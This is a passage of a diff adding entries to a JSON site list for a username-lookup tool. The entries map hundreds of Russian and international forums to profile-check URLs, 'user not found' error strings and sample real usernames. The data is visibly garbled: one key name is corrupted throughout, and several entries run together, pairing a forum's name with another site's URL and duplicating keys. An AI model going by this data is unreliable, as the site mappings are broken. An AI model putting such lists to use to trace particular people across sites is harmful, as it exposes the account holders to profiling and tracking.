"https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + "urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.pokersrbija.com/u/{}", + "urlMain": "https://forum.pokersrbija.com", + "usernameON": "mim4dayi", + "bad_site": "" + }, + "Forum_pokerus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://pokerus.ru/index/8-0-{}", + "urlMain": "https://pokerus.ru", + "usernameON": "Mult", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poligon29": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.politik-forum.eu/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.politik-forum.eu", + "usernameON": "Michi", + "bad_site": "" + }, + "Forum_politomsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://politomsk.ru/index/8-0-{}", + "urlMain": "http://politomsk.ru", + "usernameON": "slepuhin198427", + "bad_site": "" + }, + "Forum_polkadot": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.polkadot.network/u/{}/summary", + "urlMain": "https://forum.polkadot.network", + "usernameON": "muddlebee", + "bad_site": "" + }, + "Forum_pominovenieiv": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ponarama.my1.ru/index/8-0-{}", + "urlMain": "https://ponarama.my1.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_poodle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.poodleforum.com/members/?username={}", + "urlMain": "https://www.poodleforum.com/", + "usernameON": "cowpony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_popasnayalife": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://popasnayalife.at.ua/index/8-0-{}", + "urlMain": "https://popasnayalife.at.ua", + "usernameON": "AlisaBerne", + "bad_site": "" + }, + "Forum_popgun": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://popgun.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://popgun.ru", + "usernameON": "igor42", + "comments": "bad", + "bad_site": "" + }, + "Forum_popjustice": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.popjustice.com/members/?username={}", + "urlMain": "https://forum.popjustice.com", + "usernameON": "dumper", + "bad_site": "" + }, + "Forum_porcheAU": { + "country": "🇦🇺", + "country_klas": "AU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://porscheforum.com.au/search/?q={}&quick=1&type=core_members", + "urlMain": "https://porscheforum.com", + "usernameON": "tomo", + "bad_site": "" + }, + "Forum_porka": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://porki.ucoz.ru/index/8-0-{}", + "urlMain": "https://porki.ucoz.ru", + "usernameON": "porki", + "bad_site": "" + }, + "Forum_pornworld": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pornworld.to/members/?username={}", + "urlMain": "https://pornworld.to", + "usernameON": "popeluka", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_portal-anime": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://portal-anime.ru/index/8-0-{}", + "urlMain": "http://portal-anime.ru", + "usernameON": "SASUKE1744", + "bad_site": "" + }, + "Forum_portirkutsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://portirkutsk.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://portirkutsk.ru", + "usernameON": "Tema28", + "bad_site": "" + }, + "Forum_posol_BLOCK_RU_IP": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://posol.ucoz.ru/index/8-0-{}", + "urlMain": "http://posol.ucoz.ru", + "usernameON": "umtor", + "comments": "bad", + "bad_site": "" + }, + "Forum_postwrestling": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.postwrestling.com/u/{}/summary", + "urlMain": "https://forum.postwrestling.com", + "usernameON": "nealflanagan", + "bad_site": "" + }, + "Forum_potystorony": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://potystorony.ucoz.ru/index/8-0-{}", + "urlMain": "https://potystorony.ucoz.ru", + "usernameON": "zaconnic", + "bad_site": "" + }, + "Forum_pouet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "registered
    403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravmama.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravmama.ucoz.ru", + "usernameON": "toolni", + "bad_site": "" + }, + "Forum_pravo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pravo.r1v.ru/index/8-0-{}", + "urlMain": "http://pravo.r1v.ru", + "usernameON": "Arkchloush", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pravoslavie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pravoslavie-forum.org/members/?username={}", + "urlMain": "https://pravoslavie-forum.org", + "usernameON": "serg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pravoslavie-12": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavie-12.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavie-12.ucoz.ru", + "usernameON": "Admins", + "bad_site": "" + }, + "Forum_pravoslavie-alt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.pravoslavie-alt.ru/index/8-0-{}", + "urlMain": "https://www.pravoslavie-alt.ru", + "usernameON": "Loginova19", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_pravoslavielove": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pravoslavielove.ucoz.ru/index/8-0-{}", + "urlMain": "https://pravoslavielove.ucoz.ru", + "usernameON": "Oles", + "bad_site": "" + }, + "Forum_predatel": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://predatel.ucoz.ua/index/8-0-{}", + "urlMain": "https://predatel.ucoz.ua", + "usernameON": "Старлей", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pregnancy": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "robots\" content=\"noindex, nofollow", + "errorMsg3": "Critical Error", + "errorTyp��": "message", + "url": "https://pregnancy.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://pregnancy.org.ua", + "usernameON": "Nadinka", + "bad_site": "" + }, + "Forum_prepas": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun sujet ou message ne correspond à vos critères de recherche.", + "errorMsg2": "Please wait", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://forum.prepas.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prepas.org", + "usernameON": "red", + "bad_site": "" + }, + "Forum_prepperforums": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.prepperforums.net/members/?username={}", + "urlMain": "https://www.prepperforums.net", + "usernameON": "paraquack", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pressball": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация\n ", + "errorTyp��": "message", + "url": "https://forum.pressball.by/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pressball.by", + "usernameON": "zalgiris", + "bad_site": 1 + }, + "Forum_pressurewashingresource": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://pressurewashingresource.com/community/u/{}/summary", + "urlMain": "https://pressurewashingresource.com/", + "usernameON": "letterguy", + "bad_site": "" + }, + "Forum_prestashop": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "0 result", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.prestashop.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.prestashop.com", + "usernameON": "cmpm", + "bad_site": "" + }, + "Forum_prihoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.prihoz.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.prihoz.ru", + "usernameON": "grawicapa", + "bad_site": "" + }, + "Forum_primat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://primat.org/index/8-0-{}", + "urlMain": "http://primat.org", + "usernameON": "alyonaaaaaa", + "bad_site": "" + }, + "Forum_primetimer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "There were no results", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.primetimer.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.primetimer.com", + "usernameON": "athena", + "comments": "ZAK_user", + "bad_site": "" + }, + "Forum_primhunt": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://primhunt.ru/members/?username={}", + "urlMain": "https://primhunt.ru", + "usernameON": "gap", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_primkoniponi": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorMsg2": "hidden\" name=\"quicksearch", + "errorTyp��": "message", + "url": "http://www.priorovod.ru/blog.php?username={}", + "urlMain": "http://www.priorovod.ru", + "usernameON": "topcar77", + "bad_site": "" + }, + "Forum_priroda77": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.privateinvestor2000.com/index/8-0-{}", + "urlMain": "http://www.privateinvestor2000.com", + "usernameON": "olga77kol", + "bad_site": "" + }, + "Forum_prizrak": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://prizrak.ws/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://prizrak.ws", + "usernameON": "Jockers", + "bad_site": "" + }, + "Forum_prizyvnikmoy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prizyvnikmoy.ru/index/8-0-{}", + "urlMain": "https://prizyvnikmoy.ru", + "usernameON": "t1984n2003", + "bad_site": "" + }, + "Forum_pro-cats": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "http://pro-cats.ru/index/8-0-{}", + "urlMain": "http://pro-cats.ru", + "usernameON": "parrots", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pro-edu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pro-edu.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro-edu.ucoz.ru", + "usernameON": "ViMo", + "bad_site": "" + }, + "Forum_pro-kleim": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-kleim.ucoz.ru/index/8-0-{}", + "urlMain": "http://pro-kleim.ucoz.ru/", + "usernameON": "4047916", + "bad_site": "" + }, + "Forum_pro-zarabotok": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pro-zarabotok.su/index/8-0-{}", + "urlMain": "http://pro-zarabotok.su", + "usernameON": "grusakpavel", + "comments": "bad", + "bad_site": 1 + }, + "Forum_pro100warezz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://pro100warezz.ucoz.ru/index/8-0-{}", + "urlMain": "https://pro100warezz.ucoz.ru", + "usernameON": "jasurbekvideo1987", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_probiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://probiv.cc/members/?username={}", + "urlMain": "https://probiv.cc", + "usernameON": "Valerun", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_prodigy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prodigy.moy.su/index/8-0-{}", + "urlMain": "https://prodigy.moy.su", + "usernameON": "Jap", + "bad_site": "" + }, + "Forum_prodjex": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.prodjex.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.prodjex.com", + "usernameON": "shriyanshi", + "bad_site": "" + }, + "Forum_proekt-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://proekt-gaz.ru/index/8-0-{}", + "urlMain": "http://proekt-gaz.ru", + "usernameON": "gaspar", + "bad_site": "" + }, + "Forum_proekt-ts-ow-wk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://proekt-ts-ow-wk.ucoz.ru/index/8-0-{}", + "urlMain": "https://proekt-ts-ow-wk.ucoz.ru", + "usernameON": "demi", + "bad_site": "" + }, + "Forum_prof": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://prof.forum24.ru/?32-{}", + "urlMain": "https://prof.forum24.ru", + "usernameON": "lahamar", + "bad_site": "" + }, + "Forum_prof-foto-video": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-foto-video.ucoz.ru/index/8-0-{}", + "urlMain": "https://prof-foto-video.ucoz.ru", + "usernameON": "Montager", + "bad_site": "" + }, + "Forum_prof-rem-zona": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://prof-rem-zona.at.ua/index/8-0-{}", + "urlMain": "https://prof-rem-zona.at.ua", + "usernameON": "radopitopit0002", + "bad_site": "" + }, + "Forum_professionalmuscle": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.professionalmuscle.com/forums/index.php?members/&username={}", + "urlMain": "https://www.professionalmuscle.com", + "usernameON": "lk3", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_profile_astro": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://profile.astro-seek.com/{}", + "urlMain": "https://profile.astro-seek.com", + "usernameON": "sduraybito", + "bad_site": "" + }, + "Forum_profootball": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.profootballforums.com/members/?username={}", + "urlMain": "https://www.profootballforums.com", + "usernameON": "rowdy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_progagarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://progagarin.ru/index/8-0-{}", + "urlMain": "http://progagarin.ru", + "usernameON": "Pol", + "bad_site": "" + }, + "Forum_prohashing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.prohashing.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.prohashing.com", + "usernameON": "lewishamilton", + "bad_site": "" + }, + "Forum_project-ss": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://project-ss.ru/index/8-0-{}", + "urlMain": "http://project-ss.ru", + "usernameON": "oleg1980nik", + "comments": "bad", + "bad_site": 1 + }, + "Forum_projectpokemon": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://projectpokemon.org/home/search/?q={}&quick=1&type=core_members", + "urlMain": "https://projectpokemon.org", + "usernameON": "insanenutter", + "bad_site": "" + }, + "Forum_prokireevsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://prokireevsk.ru/index/8-0-{}", + "urlMain": "http://prokireevsk.ru", + "usernameON": "WILDKATbjr", + "bad_site": "" + }, + "Forum_pron": { + "country": 